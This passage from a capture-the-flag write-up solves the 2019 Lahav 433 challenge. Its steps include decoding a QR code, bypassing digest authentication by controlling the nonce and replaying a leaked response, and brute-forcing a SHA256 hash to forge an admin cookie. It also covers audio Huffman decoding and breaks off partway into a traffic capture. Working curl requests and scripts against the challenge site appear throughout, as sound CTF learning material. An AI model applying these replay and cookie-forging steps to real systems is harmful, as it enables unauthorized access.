get: ```console # echo MA== | base64 -d 0 ``` Let's write a Python script to decode the complete text: ```python import re import base64 msg = "" with open("ctf_start.txt") as f: for b in re.findall(r"\w+==?", f.read()): msg += base64.b64decode(b).decode("ascii") print(msg) ``` The output: ``` 0,0 4,4 5,4 6,4 7,4 8,4 9,4 10,4 13,4 20,4 22,4 23,4 24,4 25,4 26,4 27,4 28,4 4,5 10,5 12,5 13,5 15,5 16,5 17,5 19,5 22,5 28,5 4,6 6,6 7,6 8,6 10,6 13,6 14,6 15,6 22,6 24,6 25,6 26,6 28,6 4,7 6,7 7,7 8,7 10,7 12,7 13,7 15,7 17,7 19,7 22,7 24,7 25,7 26,7 28,7 4,8 6,8 7,8 8,8 10,8 14,8 16,8 18,8 20,8 22,8 24,8 25,8 26,8 28,8 4,9 10,9 12,9 14,9 17,9 19,9 20,9 22,9 28,9 4,10 5,10 6,10 7,10 8,10 9,10 10,10 12,10 14,10 16,10 18,10 20,10 22,10 23,10 24,10 25,10 26,10 27,10 28,10 16,11 18,11 20,11 4,12 5,12 6,12 7,12 8,12 10,12 11,12 12,12 13,12 14,12 16,12 17,12 21,12 23,12 25,12 27,12 5,13 6,13 7,13 8,13 9,13 12,13 13,13 18,13 23,13 27,13 4,14 7,14 10,14 11,14 12,14 13,14 15,14 16,14 17,14 19,14 20,14 21,14 22,14 24,14 25,14 27,14 28,14 5,15 6,15 9,15 12,15 13,15 14,15 15,15 18,15 19,15 20,15 21,15 22,15 23,15 24,15 28,15 4,16 5,16 6,16 10,16 11,16 12,16 13,16 15,16 17,16 19,16 21,16 22,16 24,16 26,16 27,16 28,16 4,17 6,17 7,17 9,17 13,17 14,17 16,17 17,17 18,17 20,17 25,17 27,17 4,18 6,18 7,18 9,18 10,18 12,18 14,18 19,18 20,18 22,18 25,18 27,18 28,18 4,19 6,19 8,19 9,19 13,19 14,19 16,19 19,19 20,19 21,19 22,19 23,19 24,19 25,19 28,19 4,20 6,20 7,20 9,20 10,20 11,20 14,20 16,20 18,20 20,20 21,20 22,20 23,20 24,20 26,20 12,21 13,21 14,21 17,21 19,21 20,21 24,21 25,21 26,21 4,22 5,22 6,22 7,22 8,22 9,22 10,22 12,22 14,22 15,22 16,22 17,22 18,22 20,22 22,22 24,22 25,22 26,22 27,22 28,22 4,23 10,23 13,23 15,23 18,23 20,23 24,23 25,23 4,24 6,24 7,24 8,24 10,24 12,24 15,24 19,24 20,24 21,24 22,24 23,24 24,24 25,24 26,24 27,24 28,24 4,25 6,25 7,25 8,25 10,25 12,25 13,25 14,25 16,25 17,25 19,25 20,25 21,25 22,25 24,25 26,25 27,25 28,25 4,26 6,26 7,26 8,26 10,26 12,26 17,26 18,26 20,26 23,26 26,26 28,26 4,27 10,27 12,27 14,27 16,27 17,27 19,27 20,27 21,27 22,27 23,27 24,27 25,27 28,27 4,28 5,28 6,28 7,28 8,28 9,28 10,28 12,28 16,28 18,28 19,28 22,28 23,28 24,28 25,28 26,28 27,28 28,28 ``` Notice also that the original text ends with ` .svg`. We need to interpret the output in the context of an SVG. At first, this looked exactly like the format of a `points` attribute of a [polygon](https://www.w3schools.com/graphics/svg_polygon.asp): ```xml <svg height="210" width="500"> <polygon points="200,10 250,190 160,210" style="fill:lime;stroke:purple;stroke-width:1" /> </svg> ``` However, if we use our output as the points, we get: ![](images/poly.png) The next attempt was to treat the pairs of numbers as coordinates, and print a dot at each coordinate. That produced: ![](images/qr_circle.png) That looks like a QR code! Switch the circles to squares and we get: ```python import re import base64 msg = "" with open("ctf_start.txt") as f: for b in re.findall(r"\w+==?", f.read()): msg += base64.b64decode(b).decode("ascii") print ('<?xml version="1.0" encoding="UTF-8" ?>\n<svg xmlns="http://www.w3.org/2000/svg" version="1.1">') for pair in msg.split(): x, y = pair.split(",") print('<rect x="{}" y="{}" width="1" height="1"/>'.format(x, y)) print ("\n</svg>") ``` ![](images/qr_square.png) Translate it with `zbar-tools`: ```console root@kali:/media/sf_CTFs/433/entry# zbarimg qr_square.png QR-Code:http://l.ead.me/bb338O scanned 1 barcode symbols from 1 images in 0.06 seconds ``` Visiting the link above, we are greeted with the following message: ![](images/qr_site.png) This actually looks like the next level of the CTF (basic design, login link etc.), but long story short - this is actually a real website with a very real error message. Looks like the amount of participants is larger than expected. Anyway, someone advertised the real link to the challenge (http://cyberlahavctf2019.com/), allowing us to continue. Visiting the real site, all we get is a login page: ![](images/login.png) Inspecting the source, we see: ```html <form class="login-form" action="/main_page" method="post"> <script src="1.js"></script> <script src="serverSideJS.js"></script> <p class="login-text"> </p> <input type="hidden" id="time" name="time" value=""/> <script> document.getElementById("time").value = get_current_time(); </script> <input type="submit" value="Login" class="login-submit" /> </form> ``` We see that the page links to `1.js`: ```javascript function get_current_time() { var date = new Date(); var time = date.getHours() + ':' + date.getMinutes(); return time; } /* ,--. ,--. ((O ))--((O )) ,'_`--'____`--'_`. _: ____________ :_ | | ||::::::::::|| | | | | ||::::::::::|| | | | | ||::::::::::|| | | |_| |/__________\| |_| |________________| __..-' `-..__ .-| : .--- ------- ----. : |-. ,\ || | |\______________/| | || /. /`.\:| | || __ __ __ || | |;/,'\ :`-._\;.| || '--''--''--' || |,:/_.-': | : | || .-- -- - --. || | : | | | | || '---- -- --' || | | | | | | || || | | | :,--.; | || ( ) ( ) ( ) || | :,--.; (`-'|) | ||______________|| | (|`-') `--' | |/______________\| | `--' |____________________| `.________________,' (_______)(_______) (_______)(_______) (_______)(_______) (_______)(_______) | || | '--------''--------' */ ``` And to `serverSideJS.js`: ```javascript module.exports = { get_nonce:function (time, user_agent) { return user_agent.replace(/ .*/,'') + time; } } ``` The ASCII art in `1.js` is a pretty thick hint for checking out `robots.txt`: ``` User-agent: * Disallow: /log.log ``` Obviously someone doesn't want us to see what `log.log` contains, let's check it out anyway: ``` Atomz/1.0 : 23:59 response = e2b24a6d4c12eb701e9e42d7862d196d ``` Last thing we need to mention: When clicking the login button, we are greeted with a Digest Authentication window: ![](images/http_login.png) A short reminder about digest authentication: > Digest access authentication is one of the agreed-upon methods a web server can use to negotiate credentials, such as username or password, with a user's web browser. This can be used to confirm the identity of a user before sending sensitive information, such as online banking transaction history. It applies a hash function to the username and password before sending them over the network. > Technically, digest authentication is an application of MD5 cryptographic hashing with usage of nonce values to prevent replay attacks. It uses the HTTP protocol. > [...] RFC 2069 specifies roughly a traditional digest authentication scheme with security maintained by a server-generated nonce value. The authentication response is formed as follows (where HA1 and HA2 are names of string variables): > > ``` > HA1 = MD5(username:realm:password) > HA2 = MD5(method:digestURI) > response = MD5(HA1:nonce:HA2) > ``` > Source: [Wikipedia](https://en.wikipedia.org/wiki/Digest_access_authentication) Basically, when a client tries to request a resource which is protected by Digest Authentication, the following sequence happens: 1. Client requests resource 2. Server responds with error code 401 ("Unauthorized") and a `WWW-Authenticate` HTTP header, which contains a nonce (among other things) 3. Client calculates `response` (as explained above) and returns it in `Authorization` HTTP header (among other things) 4. Server checks response and decides whether to allow access to resource A nonce is supposed to be "an arbitrary number that can be used **just once** in a cryptographic communication". However, we know how the nonce is calculated from inspecting `serverSideJS.js`. It takes the user agent string up to the first space, and appends the `time` parameter to it. This means that by modifying the `time` input value from the HTML form, and sending a custom User Agent via the HTTP headers, we can control the nonce. Which values should we use? The ones from the log we found! We start by making a simple request for `/main_page`: ```console root@kali:/media/sf_CTFs/433/login# curl -v -d "time=23:59" -A "Atomz/1.0" POST http://cyberlahavctf2019.com/main_page * Rebuilt URL to: POST/ * Could not resolve host: POST * Closing connection 0 curl: (6) Could not resolve host: POST * Trying 207.154.239.211... * TCP_NODELAY set * Connected to cyberlahavctf2019.com (207.154.239.211) port 80 (#1) > POST /main_page HTTP/1.1 > Host: cyberlahavctf2019.com > User-Agent: Atomz/1.0 > Accept: */* > Content-Length: 10 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 10 out of 10 bytes < HTTP/1.1 401 Unauthorized < X-Powered-By: Express < WWW-Authenticate: Digest realm=National_Cyber_Unit ,nonce="5af65be00c55a2181ce76eb95b43fc3be98d54a1",opaque="" < Date: Tue, 29 Jan 2019 19:36:46 GMT < Connection: keep-alive < Transfer-Encoding: chunked < <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8"> <title>The Forbidden Site</title> <link rel="stylesheet" href="css/style.css"> </head> <body> <form class="login-form" action="/main_page" method="post"> <script src="1.js"></script> <script src="serverSideJS.js"></script> <p class="login-text"> </p> <input type="hidden" id="time" name="time" value=""/> <script> document.getElementById("time").value = get_current_time(); </script> <input type="submit" value="Login" class="login-submit" /> </form> <div class="underlay-photo"></div> <div class="underlay-black"></div> </body> </html> ``` The important part in the response is: ``` WWW-Authenticate: Digest realm=National_Cyber_Unit ,nonce="5af65be00c55a2181ce76eb95b43fc3be98d54a1",opaque="" ``` We use the realm and nonce in the next request, providing also the response from the log. We need to supply a username as well, let's guess "admin" and cross our fingers. ```console root@kali:/media/sf_CTFs/433/login# curl -v -d "time=23:59" -A "Atomz/1.0" POST http://cyberlahavctf2019.com/main_page -H 'Authorization: Digest username="admin", realm="National_Cyber _Unit", nonce="5af65be00c55a2181ce76eb95b43fc3be98d54a1", opaque="", uri="/main_page", response="e2b24a6d4c12eb701e9e42d7862d196d"' * Rebuilt URL to: POST/ * Could not resolve host: POST * Closing connection 0 curl: (6) Could not resolve host: POST * Trying 207.154.239.211... * TCP_NODELAY set * Connected to cyberlahavctf2019.com (207.154.239.211) port 80 (#1) > POST /main_page HTTP/1.1 > Host: cyberlahavctf2019.com > User-Agent: Atomz/1.0 > Accept: */* > Authorization: Digest username="admin", realm="National_Cyber_Unit", nonce="5af65be00c55a2181ce76eb95b43fc3be98d54a1", opaque="", uri="/main_page", response="e2b24a6d4c12eb701e9e42d7862d196d" > Content-Length: 10 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 10 out of 10 bytes < HTTP/1.1 200 OK < X-Powered-By: Express < Set-Cookie: AccountType=B6FE1C672256EB8D509CD619691F866CA5D02A929ABD37643AC43C58ADD490C5; Max-Age=900; Path=/; Expires=Tue, 29 Jan 2019 19:52:23 GMT; HttpOnly < Accept-Ranges: bytes < Cache-Control: public, max-age=0 < Last-Modified: Sun, 27 Jan 2019 06:35:17 GMT < ETag: W/"7fa-1688e04fa7f" < Content-Type: text/html; charset=UTF-8 < Content-Length: 2042 < Date: Tue, 29 Jan 2019 19:37:23 GMT < Connection: keep-alive < <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8"> <title>The Forbidden Site</title> <link rel="stylesheet" href="main.css"> <link href='https://fonts.googleapis.com/css?family=Cinzel Decorative' rel='stylesheet'> <link href='https://fonts.googleapis.com/css?family=Fredericka the Great' rel='stylesheet'> </head> <body> <script src="2.js"></script> <script src="https://npmcdn.com/js-alert/dist/jsalert.min.js"></script> <div class="menu"> <p> <script> function my_alert(){ alert("You Dont Contact Us We Contact You!!!"); } </script> <script>var _0x1d20=["\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x47\x45\x54","\x2F\x6C\x6F\x61\x64\x5F\x66\x69\x6C\x65","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x54\x72\x75\x65","\x2F\x73\x65\x63\x72\x65\x74\x5F\x66\x69\x6C\x65","\x72\x65\x70\x6C\x61\x63\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x59\x6F\x75\x20\x64\x6F\x6E\x74\x20\x68\x61\x76\x65\x20\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x73\x20\x66\x6F\x72\x20\x74\x68\x61\x74"];function load_file(){var _0x5d43x2= new XMLHttpRequest();_0x5d43x2[_0x1d20[0]]= function(){if(this[_0x1d20[1]]== 4&& this[_0x1d20[2]]== 200){myFunction(this)}};_0x5d43x2[_0x1d20[5]](_0x1d20[3],_0x1d20[4],true);_0x5d43x2[_0x1d20[6]]()}function myFunction(_0x5d43x4){if(_0x5d43x4[_0x1d20[7]]== _0x1d20[8]){window[_0x1d20[11]][_0x1d20[10]](_0x1d20[9])}else {alert(_0x1d20[12])}}</script> <div onclick="my_alert()" style="text-decoration: none;color:white" title >&emsp;Contact Us &emsp;</div> <div class = 'thing' onclick="load_file()" title>Our Secret File</div> </p> </div> <div class="underlay-photo"></div> <p class="text_box">Welcome<br/> To The<br/> Hacker Hub<br/> </p> <div class="container1" <p> This is the hacker hub. <br>The site who knows all, sees all, hacks all...</p> </div> <div class="links" </div> </body> </html> ``` We were able to bypass the Digest authentication! Let's take a look at what we got here. First, there's an obfuscated script: ```javascript var _0x1d20=["\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x47\x45\x54","\x2F\x6C\x6F\x61\x64\x5F\x66\x69\x6C\x65","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x54\x72\x75\x65","\x2F\x73\x65\x63\x72\x65\x74\x5F\x66\x69\x6C\x65","\x72\x65\x70\x6C\x61\x63\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x59\x6F\x75\x20\x64\x6F\x6E\x74\x20\x68\x61\x76\x65\x20\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x73\x20\x66\x6F\x72\x20\x74\x68\x61\x74"]; function load_file(){var _0x5d43x2= new XMLHttpRequest();_0x5d43x2[_0x1d20[0]]= function(){if(this[_0x1d20[1]]== 4&& this[_0x1d20[2]]== 200){myFunction(this)}};_0x5d43x2[_0x1d20[5]](_0x1d20[3],_0x1d20[4],true);_0x5d43x2[_0x1d20[6]]()} function myFunction(_0x5d43x4){if(_0x5d43x4[_0x1d20[7]]== _0x1d20[8]){window[_0x1d20[11]][_0x1d20[10]](_0x1d20[9])}else {alert(_0x1d20[12])}} ``` After manually de-obfuscating it, we get: ```javascript var _0x1d20=[ "onreadystatechange", // 0 "readyState",// 1 "status",// 2 "GET",// 3 "/load_file",// 4 "open",// 5 "send",// 6 "responseText",// 7 "True",// 8 "/secret_file",// 9 "replace",// 10 "location",// 11 "You dont have permissions for that"// 12 ]; function load_file(){ var ajax_req = new XMLHttpRequest(); ajax_req["onreadystatechange"]= function(){ if(this["readyState"]== 4 && this["status"]== 200){ myFunction(this) } }; ajax_req["open"]("GET","/load_file",true); ajax_req["send"]() } function myFunction(that){ if(that["responseText"]== "True"){ window["location"]["replace"]("/secret_file") } else { alert("You dont have permissions for that") } } ``` In addition, the page includes `2.js`: ```javascript var _0x2be5=['length','log','YW45fc9vwUcuLzCWUmUeTC913yt9hunkqKNmYoU2rFGr8e99Pf3UjnZH5EXAULX2dcTbfZrxScREgDFJcLUGSGVhG75Dbo8NVWo956dpENycavPFtbQYMAyhiq8eZJzxdXLpHHHuEKSB4qu3wqfNz5krqWvkXR5qs12F55p5aV9']; (function(_0x328653,_0x20e5c0){var _0x32f82e=function(_0x4eea02){while(--_0x4eea02){_0x328653['push'](_0x328653['shift']());}};_0x32f82e(++_0x20e5c0);}(_0x2be5,0x1c1)); var _0x3a52=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x2be5[_0x2d8f05];return _0x4d74cb;}; function get_admin_cookie(){var _0x48471f=_0x3a52('0x0');var _0x3d069a='';for(i=_0x48471f[_0x3a52('0x1')]-0x1;i>=0x0;i--){_0x3d069a+=_0x48471f[i];}console[_0x3a52('0x2')](_0x3d069a);console['log']('encoding:\x20bitcoin');} ``` This one is a bit harder to de-obfuscate, but we can at least indent it: ```javascript var _0x2be5=[ 'length', 'log','YW45fc9vwUcuLzCWUmUeTC913yt9hunkqKNmYoU2rFGr8e99Pf3UjnZH5EXAULX2dcTbfZrxScREgDFJcLUGSGVhG75Dbo8NVWo956dpENycavPFtbQYMAyhiq8eZJzxdXLpHHHuEKSB4qu3wqfNz5krqWvkXR5qs12F55p5aV9']; (function(_0x328653,_0x20e5c0){ var _0x32f82e=function(_0x4eea02){ while(--_0x4eea02){ _0x328653['push'](_0x328653['shift']()); } }; _0x32f82e(++_0x20e5c0); }(_0x2be5,0x1c1)); var _0x3a52=function(_0x2d8f05,_0x4b81bb){ _0x2d8f05=_0x2d8f05-0x0; var _0x4d74cb=_0x2be5[_0x2d8f05]; return _0x4d74cb; }; function get_admin_cookie(){ var _0x48471f=_0x3a52('0x0'); var _0x3d069a=''; for(i=_0x48471f[_0x3a52('0x1')]-0x1;i>=0x0;i--){ _0x3d069a+=_0x48471f[i]; } console[_0x3a52('0x2')](_0x3d069a); console['log']('encoding:\x20bitcoin'); } ``` So what do we have? Clicking on the link `Our Secret File` will call the javascript function `load_file`, which will make an AJAX request to `/load_file`. If the request is successful and the response text is `True`, we get redirected to `/secret_file`. What happens if we try to access `/secret_file` directly? We get: ``` TypeError: Cannot read property '0' of undefined at /root/apps/CTF/app.js:135:22 at Layer.handle [as handle_request] (/root/apps/CTF/node_modules/express/lib/router/layer.js:95:5) at next (/root/apps/CTF/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/root/apps/CTF/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/root/apps/CTF/node_modules/express/lib/router/layer.js:95:5) at /root/apps/CTF/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/root/apps/CTF/node_modules/express/lib/router/index.js:335:12) at next (/root/apps/CTF/node_modules/express/lib/router/index.js:275:10) at SendStream.error (/root/apps/CTF/node_modules/serve-static/index.js:121:7) at emitOne (events.js:116:13) ``` This is different than the regular 404 response for the site, which usually outputs something similar to: ``` Cannot GET /asdf ``` Perhaps we need to use the logic in `2.js`. By running it locally and using the browser developer console to call `get_admin_cookie()`, we get: ``` >>> get_admin_cookie() 9Va5p55F21sq5RXkvWqrk5zNfqw3uq4BSKEuHHHpLXdxzJZe8qihyAMYQbtFPvacyNEpd659oWVN8obD57GhVGSGULcJFDgERcSxrZfbTcd2XLUAXE5HZnjU3fP99e8rGFr2UoYmNKqknuh9ty319CTeUmUWCzLucUwv9cf54WY 2.js:31:28 encoding: bitcoin 2.js:32:5 undefined ``` A quick search reveals that "bitcoin encoding" is also known as "base58 encoding", and we can easily find an online decoder: ```console # curl "http://lenschulwitz.com/base58er" --data "address=9Va5p55F21sq5RXkvWqrk5zNfqw3uq4BSKEuHHHpLXdxzJZe8qihyAMYQbtFPvacyNEpd659oWVN8obD57GhVGSGULcJFDgERcSxrZfbTcd2XLUAXE5HZnjU3fP99e8rGFr2UoYmNKqknuh9ty319CTeUmUWCzLucUwv9cf54WY&b58action=decode" 7B0A09686173683A207368613235360A09636F6F6B6965206E616D653A204163636F756E74547970650A096C656E6774683A20340A0956616C3A65313563663632356466396365353661313233663762326434383138646439323738616331643835353363333130616566386661393939306639643662333661200A7D ``` Let's decode that as ASCII: ```console # curl -s "http://lenschulwitz.com/base58er" --data "address=9Va5p55F21sq5RXkvWqrk5zNfqw3uq4BSKEuHHHpLXdxzJZe8qihyAMYQbtFPvacyNEpd659oWVN8obD57GhVGSGULcJFDgERcSxrZfbTcd2XLUAXE5HZnjU3fP99e8rGFr2UoYmNKqknuh9ty319CTeUmUWCzLucUwv9cf54WY&b58action=decode" | xxd -r -p && echo { hash: sha256 cookie name: AccountType length: 4 Val:e15cf625df9ce56a123f7b2d4818dd9278ac1d8553c310aef8fa9990f9d6b36a } ``` We are searching for a string of length 4 with a given SHA256 value, should be easy to brute-force: ```python import string import hashlib from itertools import product HASH = "e15cf625df9ce56a123f7b2d4818dd9278ac1d8553c310aef8fa9990f9d6b36a" for word in (''.join(i) for i in product(string.printable, repeat = 4)): h = hashlib.sha256(word).hexdigest() if h == HASH: print word break ``` Answer is received in a few seconds: `1haV`. Now we can try to download the secret file: ```console root@kali:/media/sf_CTFs/433/login# curl -v -X GET http://cyberlahavctf2019.com/secret_file --cookie "AccountType=1haV" -O Note: Unnecessary use of -X or --request, GET is already inferred. % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- 0:00:04 --:--:-- 0* Trying 207.154.239.211... * TCP_NODELAY set * Connected to cyberlahavctf2019.com (207.154.239.211) port 80 (#0) > GET /secret_file HTTP/1.1 > Host: cyberlahavctf2019.com > User-Agent: curl/7.61.0 > Accept: */* > Cookie: AccountType=1haV > < HTTP/1.1 200 OK < X-Powered-By: Express < Content-disposition: attachment; filename=success.rar < Content-type: application/x-rar-compressed < Date: Tue, 29 Jan 2019 20:52:48 GMT < Connection: keep-alive < Transfer-Encoding: chunked < { [3850 bytes data] 100 501k 0 501k 0 0 87666 0 --:--:-- 0:00:05 --:--:-- 109k root@kali:/media/sf_CTFs/433/login# file secret_file secret_file: RAR archive data, v4, os: Win32 root@kali:/media/sf_CTFs/433/login# rar v success.rar RAR 5.50 Copyright (c) 1993-2017 Alexander Roshal 11 Aug 2017 Trial version Type 'rar -?' for help Archive: success.rar Details: RAR 4 Attributes Size Packed Ratio Date Time Checksum Name ----------- --------- -------- ----- ---------- ----- -------- ---- ..A.... 1375 1221 88% 2019-01-24 17:18 E18C5927 sucess/A1w4ysG0_l3ft2RIGHT.png ..A.... 1146720 512134 44% 2019-01-24 17:51 7D4A1833 sucess/Huffman Queue.wav ...D... 0 0 0% 2019-01-24 19:07 00000000 sucess ----------- --------- -------- ----- ---------- ----- -------- ---- 1148095 513355 44% 3 ``` We get two files. First, an image: ![](images/A1w4ysG0_l3ft2RIGHT.png) This image contains the following string: ``` 000101101000111110111000111010011100011101 ``` In addition, we get an audio file. Playing the file provides no meaningful output, so the meaning must be hiding elsewhere. The file name is "Huffman Queue" which is our first hint. When running `exiftool` on the file, we get our second hint: ```console # exiftool Huffman_Queue.wav ExifTool Version Number : 11.10 File Name : Huffman_Queue.wav Directory : . File Size : 1120 kB File Modification Date/Time : 2019:01:24 17:51:14+02:00 File Access Date/Time : 2019:01:29 22:53:49+02:00 File Inode Change Date/Time : 2019:02:03 22:12:55+02:00 File Permissions : rwxrwx--- File Type : WAV File Type Extension : wav MIME Type : audio/x-wav Encoding : Microsoft PCM Num Channels : 1 Sample Rate : 44100 Avg Bytes Per Sec : 88200 Bits Per Sample : 16 Artist : Guassian 3.5 Duration : 13.00 s ``` The artist name is "Guassian 3.5" - a reference to a type of FFT window in signal analysis. The standard tool for viewing and analyzing audio files is usually Audacity: ![](images/wavform.png) Here we can see that the amplitude of the signal does not vary, while frequency does. Zooming in to the wavform, we can see a change of frequency at the ninth second: ![](images/wavform2.png) By displaying the spectrogram (clicking the black arrow next to the file name) and modifying the parameters a bit, we can see a nice visualization of the different frequencies: * Scale: Logarithmic * Algorithm: Frequencies * Window size: 8192 * Window type: **Gaussian(a=3.5)** The result: ![](images/spectrogram.png) We can see that the frequency changes once at the 3rd second, then again at the 5th second, and then every second until the end (13 seconds total). The next step would be to identify the frequency of each segment. We can do that by selecting a segment and clicking on "Analyze -> Plot Spectrum". For example, this is the Frequency for 0.0-1.0, after the sample rate to 32768 (the maximum for a 1 second range) and the function to **Gaussian(a=3.5)** (like the hint): ![](images/plot0.png) We can see in the "Peak" field the value of "111 Hz". If we repeat this for every 1 second range in the file, we get: ``` 111, 111, 111, 103, 103, 89, 85, 108, 105, 57, 56, 48, 47 ``` Notice how all the values are in the ASCII printable range, which is usually a good sign. Translated to ASCII, we get: ``` o, o, o, g, g, Y, U, l, i, 9, 8, 0, / ``` We even got a slash, which is great since it can be used to represent a URI path. However, this is where I got stuck, I wasn't able to turn this into anything meaningful. Consulted a friend which has worked with me on some CTFs in the past (Yaakov Cohen), but we were both stumped until we got the following two hints: 1. The sample rate needs to be 1024 and not 32768 (not cool!) 2. The output needs to be used to build a Huffman tree in order to decode the bit stream above (we considered that already and overruled it since there are many ways to build a Huffman tree when several characters have the same frequency - so also not cool!) The first hint brought us to the following frequency peaks: ``` 111, 111, 111, 103, 103, 89, 85, 108, 105, 57, 56, 47, 46 o, o, o, g, g, Y, U, l, i, 9, 8, /, . ``` We kept our "/", and also gained a ".". Yaakov immediately saw that this looks like the Google URL Shortener `goo.gl/`. Formally, the Huffman tree can be built using the following script: ```python import heapq from collections import namedtuple, Counter text = "oooggYUli98/." msg = list("000101101000111110111000111010011100011101") QueueEntry = namedtuple('QueueEntry', 'node insertion_order') class Node(object): def __init__(self, data, freq, small, big): self.data = data self.freq = freq self.left = small self.right = big def __eq__(self, other): return other.freq == self.freq def __lt__(self, other): return self.freq < other.freq def __str__(self): return "('{}', {})".format(self.data, self.freq) def __repr__(self): return str(self) queue = [] counter = 0 for item in Counter(text).items(): letter, frequency = item heapq.heappush(queue, QueueEntry( Node(data = letter, freq = frequency, small = None, big = None), -1 * counter)) counter += 1 while (len(queue) > 1): small = heapq.heappop(queue).node big = heapq.heappop(queue).node new = Node(data = None, freq = small.freq + big.freq, small=small, big=big) heapq.heappush(queue, QueueEntry(new, -1 * counter)) counter += 1 root = heapq.heappop(queue).node tree = {} def build_tree(node, s): if node.data != None: tree[s] = node.data return build_tree(node.left, s + '0') build_tree(node.right, s + '1') build_tree(root, "") print(tree) c = "" while (len(msg) != 0): c += msg.pop(0) if c in tree: print(tree[c], end='') c = "" ``` In this implementation, we maintain the order of insertion to the priority queue, so that an item which is being inserted to the queue and has the same priority as an item which was inserted before, will be placed after the old item. We do this by using tuples of two elements as entries of the queue: `node` and `insertion_order`. The `node` contains a `Node` class instance, which compares itself to other `Nodes` by comparing the frequency, so when two nodes have different frequencies, their order in the queue is determined by that value alone. When the frequencies are equal, the comparison moves on to the next entry in the tuple, which is a negative running counter, so that newly inserted items always have a lower priority compared to existing items. Running the script gives the following result: ``` {'00': 'g', '01': 'o', '1000': '8', '1001': '9', '1010': '.', '1011': '/', '1100': 'U', '1101': 'Y', '1110': 'i', '1111': 'l'} goo.gl/8i9UoY ``` As a tree, it looks like this: ``` _____________#_______________ 0/ \1 __#__ __________#___________ 0/ \1 0/ \1 g o _____#____ ____#_____ 0/ \1 0/ \1 ___#___ ___#___ ___#___ ___#___ 0/ \1 0/ \1 0/ \1 0/ \1 8 9 . / U Y i l ``` The left hand branch of each node is encoded as 0, and the right hand branch is encoded as 1. So to get from the root to "g", we go twice left, meaning that the encoding is "00". To get to "U", we go right, right, left, left, so the encoding is "1100". Off to goo.gl/8i9UoY, we continue, which brings us to a Telegram channel called "R U ready?", owned by "Lahav 433 cyber unit". The channel offered RAR file for download: ![](images/telegram.png) ```console root@kali:/media/sf_CTFs/433/1N7ERCEP7U5# ls Instructions.json Server.ova Client.ova root@kali:/media/sf_CTFs/433/1N7ERCEP7U5# cat Instructions.json { "Password": "laeyobmsamlrdmyh", "Commands": [ "whoami", "ls", "time", "get flag", "get key", "downloadfile [filename]", "help", "quit" ] } ``` We have two [*.ova](https://en.wikipedia.org/wiki/Open_Virtualization_Format) files, which is a format used to distribute software to be run in virtual machines. Therefore, the next step is to import Client.ova and Server.ova into VirtualBox using "File -> Import Appliance". ![](images/vbox1.png) We start the machines and observe. The server boots to the following screen: ![](images/server.png) The client boots to the following screen: ![](images/client.png) Trying to connect to either of the machines with the password supplied in the JSON file is unsuccessful. So we have a server listening on 192.168.54.150:11111 and a client trying to connect to this address. Time to launch Wireshark and try to analyze the traffic. In order to reduce noise and gain better control over the network, it made sense to me to create a new host network interface using VirtualBox and assign it the subnet of 192.168.54.x: ![](images/vbox_adapter.png) I then assigned this new adapter as a Host-only adapter of the two virtual machines we got, in addition to a third machine which acts as a controller of sorts. ![](images/client_network_settings.png) Once the machines were booted again, Wireshark captured the following network traffic: ```console root@kali:/media/sf_CTFs/433/1N7ERCEP7U5/pcap# tshark -r traffic.pcapng 1 0.000000000 PcsCompu_f4:51:fa → Broadcast ARP 60 Who has 192.168.54.150? Tell 192.168.54.151 2 0.000009993 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 192.168.54.150 is at 08:00:27:14:69:d5 3 0.000137690 192.168.54.151 → 192.168.54.150 TCP 74 36716 → 11111 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=3318941419 TSecr=0 WS=128 36716 11111 4 0.000233057 192.168.54.150 → 192.168.54.151 TCP 74 11111 → 36716 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=1043065940 TSecr=3318941419 WS=128 11111 36716 5 0.000388519 192.168.54.151 → 192.168.54.150 TCP 66 36716 → 11111 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=3318941420 TSecr=1043065940 36716 11111 6 0.039759345 192.168.54.150 → 192.168.54.151 TCP 82 11111 → 36716 [PSH, ACK] Seq=1 Ack=1 Win=29056 Len=16 TSval=1043065980 TSecr=3318941420 11111 36716 7 0.039875575 192.168.54.150 → 192.168.54.151 TCP 66 11111 → 36716 [FIN, ACK] Seq=17 Ack=1 Win=29056 Len=0 TSval=1043065980 TSecr=3318941420 11111 36716 8 0.039878363 192.168.54.151 → 192.168.54.150 TCP 66 36716 → 11111 [ACK] Seq=1 Ack=17 Win=29312 Len=0 TSval=3318941459 TSecr=1043065980 36716 11111 9 0.040145647 192.168.54.151 → 192.168.54.150 TCP 66 36716 → 11111 [FIN, ACK] Seq=1 Ack=18 Win=29312 Len=0 TSval=3318941459 TSecr=1043065980 36716 11111 10 0.040235053 192.168.54.150 → 192.168.54.151 TCP 66 11111 → 36716 [ACK] Seq=18 Ack=2 Win=29056 Len=0 TSval=1043065980 TSecr=3318941459 11111 